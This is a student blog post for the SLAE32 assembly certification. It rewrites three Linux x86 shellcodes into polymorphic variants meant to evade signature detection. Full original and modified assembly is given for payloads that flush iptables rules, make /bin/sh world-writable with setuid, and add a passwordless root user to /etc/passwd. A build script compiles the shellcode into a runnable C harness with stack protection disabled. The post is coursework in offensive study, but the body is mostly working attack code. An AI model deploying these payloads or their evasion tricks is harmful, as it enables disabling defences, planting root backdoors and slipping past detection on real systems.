SLAE32 Challenge #6 - Polymorphic shellcodes

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-644

GitHub resource containing challenge files:

https://github.com/bl305/SLAE32

Local link to source files:

http://itfanatic.com/files/Challenge_06_Final.ZIP


This assignment is about analysing three shellcodes in the ShellStorm page and create polymorphic versions of them to provide the same functionality but avoid detection.

I have decided to analyze and rewrite the following 3 shellcodes:


Analysis and rewrite of "iptables flush"

I have set the IPTABLES to a random value to test:

root@assembly:/home/user# iptables -A INPUT -j ACCEPT
root@assembly:/home/user# iptables -L
Chain INPUT (policy DROP)
target     prot opt source               destination         
ACCEPT     all  --  anywhere             anywhere            
 
Chain FORWARD (policy ACCEPT)
target     prot opt source               destination         
 
Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination   

I have compiled the shellstorm shellcode using gcc and then extracted the assembly code using GDB intel syntax. The result of GDB analysis was the original code:

section .text
        global _start
 
_start:
 
        xor eax,eax
        push eax
        push word 0x462d
        mov esi,esp
        push eax
        push dword 0x73656c62
        push dword 0x61747069
        push dword 0x2f6e6962
        push dword 0x732f2f2f
        mov ebx,esp
        push eax
        push esi
        push ebx
        mov ecx,esp
        mov edx,eax
        mov al,0xb
        int 0x80

I have used this as a source code to be changed.

I have used a small perl command to read the hexa values:

perl -le 'print map {chr hex} qw/ 63 74 65 2f/'

I have used the following commands in the gdb to analyse the run of the shellcode:

set disassembly-flavor intel 
break *&code
run 
disassemble 
define hook-stop
disassemble 
info registers
end

My modified code look like this:

section .text
	global _start
 
_start:
 
	xor eax,eax
	push eax
	push word 0x462d
	mov esi,esp
	push eax
;	push dword 0x73656c62
	mov ebx, 0x61535A50
	add ebx, 0x12121212
	push ebx
;	push dword 0x61747069
	sub ebx, 0x11F0FBF9
	push ebx
;	push dword 0x2f6e6962
	sub ebx, 0x32060707
	push ebx
;	push dword 0x732f2f2f
	add ebx, 0x43c0c5cd
	push ebx
	mov ebx,esp
	push eax
	push esi
	push ebx
	mov ecx,esp
	mov edx,eax
;	mov al,0xb
	mov al,0xa
	inc al
	int 0x80

Changes: I have replaced the constants with a mathematical operations. See the commented lines and the replacement below each.

  • The first value was decreased by 0x12121212 and in the source code I add 0x12121212 to it.
  • The second value was generated from the first value using the same register, just by adding 0x32060707
  • The third value was generated from the previous value of the same register by adding 0x43c0c5cd
  • I have changed the interrupt call value setting to a mathematical function: incrementing 0xa by 1

ITFanatic.com

The script used to compile the thing can be found at the end of this post.

ITFanatic.com

Size difference is ~35% increase.


Analysis and rewrite of "chmod /bin/sh"

I have compiled the shellstorm shellcode using gcc and then extracted the assembly code using GDB intel syntax. The result of GDB analysis was the original code:

section .text
	global _start
 
_start: 
 
 xor    eax,eax
 xor    ebx,ebx
 xor    ecx,ecx
 push   ebx
 push   0x68732f6e
 push   0x69622f2f
 mov    ebx,esp
 mov    cx,0x9fd
 mov    al,0xf
 int    0x80
 mov    al,0x1
 int    0x80

ITFanatic.com

I have used this as a source code to be changed.

I have used a small perl command to read the hexa values:

perl -le 'print map {chr hex} qw/ 63 74 65 2f/'

I have used the following commands in the gdb to analyse the run of the shellcode:

set disassembly-flavor intel 
break *&code
run 
disassemble 
define hook-stop
disassemble 
info registers
end

My modified code look like this:

section .text
	global _start
 
_start: 
 
 xor    eax,eax
 xor    ebx,ebx
 xor    ecx,ecx
 push   ebx
; push   0x68732f6e
  mov ebx, 0xD0E65EDC
  ror ebx, 1
  push ebx
 
; push   0x69622f2f
 add ebx, 0xeeffc1
 push ebx
 
 mov    ebx,esp
; mov    cx,0x9fd
 mov cx, 0x13fa
 ror cx, 1
 
; mov    al,0xf
 mov al, 0x1e
 ror al, 1
 
 int    0x80
 
; mov    al,0x1
 add al, 0x1 
 
 int    0x80

Changes: I have replaced the constants with a mathematical operations. See the commented lines and the replacement below each.

  • The first value was rotated left by 1 and in the source code I rotate them rotate them right by 1, then push on stack.
  • The second value was generated from the first value using the same register, just by adding 0xeeffc1.
  • The third value was generated using rotation to right as well.
  • I have changed the interrupt call value setting to a mathematical function: it was 0x0, so incremented by 1

The script used to compile the thing can be found at the end of this post.

ITFanatic.com

Size difference is ~50% decrease.


Analysis and rewrite of "add a root user into /etc/passwd with no password"

I have compiled the shellstorm shellcode using gcc and then extracted the assembly code using GDB intel syntax. The result of GDB analysis was the original code:

section .text
	global _start
 
_start: 
	xor    eax,eax
	xor    ebx,ebx
	xor    ecx,ecx
	push   ebx
	push   0x64777373
	push   0x61702f63
	push   0x74652f2f
	mov    ebx,esp
	mov    cx,0x401
	mov    al,0x5
	int    0x80
	mov    ebx,eax
	xor    eax,eax
	xor    edx,edx
	push   0x68732f6e
	push   0x69622f2f
	push   0x3a2f3a3a
	push   0x303a303a
	push   0x3a626f62
	mov    ecx,esp
	mov    dl,0x14
	mov    al,0x4
	int    0x80
	xor    eax,eax
	mov    al,0x6
	int    0x80
	xor    eax,eax
	mov    al,0x1
	int    0x80 

I have used this as a source code to be changed.

I have used a small perl command to read the hexa values:

perl -le 'print map {chr hex} qw/ 63 74 65 2f/'

I have used the following commands in the gdb to analyse the run of the shellcode:

set disassembly-flavor intel 
break *&code
run 
disassemble 
define hook-stop
disassemble 
info registers
end

My modified code look like this:

section .text
	global _start
 
_start: 
	xor    eax,eax
;xor    ebx,ebx
;xor    ecx,ecx
	mov eax,ecx
;push   ebx
	push   eax
 
;push   0x64777373
	mov ebx, 0xC8EEE6E6
	ror ebx, 1
	mov dword [esp-4], ebx
	sub esp,4
 
;push   0x61702f63
	mov ebx, 0xC2E05EC6
	ror ebx, 1
	push ebx
 
;push   0x74652f2f
	mov ebx, 0xE8CA5E5E
	ror ebx, 1
	push ebx
 
	mov    ebx,esp
	mov    cx,0x401
	mov    al,0x5
	int    0x80
	mov    ebx,eax
;xor    eax,eax
	xor    edx,edx
 
;push   0x68732f6e
	mov ecx, 0xD0E65EDC
	ror ecx, 1
	push ecx
 
;push   0x69622f2f
        mov ecx, 0xD0E65EDC
        ror ecx, 1
        push ecx
 
;push   0x3a2f3a3a
        mov ecx, 0x745E7474
        ror ecx, 1
        push ecx
 
;push   0x303a303a
        mov ecx, 0x60746074
        ror ecx, 1
        push ecx
 
;push   0x3a626f62
        mov ecx, 0x74C4DEC4
        ror ecx, 1
        push ecx
 
	mov    ecx,esp
	mov    dl,0x14
	mov    al,0x4
	int    0x80
;xor    eax,eax
	mov    al,0x6
	int    0x80
;xor    eax,eax
	mov    al,0x1
	int    0x80 

Changes: I have replaced the constants with a mathematical operations used previously. See the commented lines and the replacement below each.

In one case instead of pushing the value to the stack I have directly moved it onto it using "mov dword [esp-4], ebx". Stack pointer adjustment followed: "sub esp,4"

The script used to compile the thing can be found at the end of this post.

ITFanatic.com

Size difference is ~26% increase.

Script to generate the shellcode from assembly:

#!/bin/bash
 
 
echo '[+] Assembling with Nasm ... '
nasm -f elf32 -o $1.o $1.nasm
 
echo '[+] Linking ...'
ld -o $1 $1.o
 
echo '[+] Objdump ...'
#mycode1=`objdump -d ./$1|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\\x/g'|paste -d '' -s |sed 's/^/"/' | sed 's/$/"/g'`
#echo $mycode1
 
#mycode2=`objdump -d ./$1|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\\x/g'|paste -d '' -s |sed 's/^/"/' | sed 's/$/"/g'`
#echo $mycode2
 
>tmp.txt
for i in `objdump -d $1|tr '\t' ' '|tr ' ' '\n'|grep -Eo '^[0-9a-f]{2}$'` ; do echo -n "\x$i" >>tmp.txt ; done
mycode=`cat tmp.txt`
#echo $mycode
 
echo '[+] Assemble shellcode C ...'
 
echo "#include<stdio.h>" >shellcode.c
echo "#include<string.h>" >>shellcode.c
echo "unsigned char code[] = \"\\" >>shellcode.c
echo $mycode"\";" >>shellcode.c
echo "main()" >>shellcode.c
echo "{" >>shellcode.c
echo "printf(\"Shellcode Length:  %d\n\", strlen(code));" >>shellcode.c
echo "  int (*ret)() = (int(*)())code;" >>shellcode.c
echo "  ret();" >>shellcode.c
echo "}" >>shellcode.c
 
echo '[+] Compile shellcode.c'
 
gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
 
echo '[+] Done!'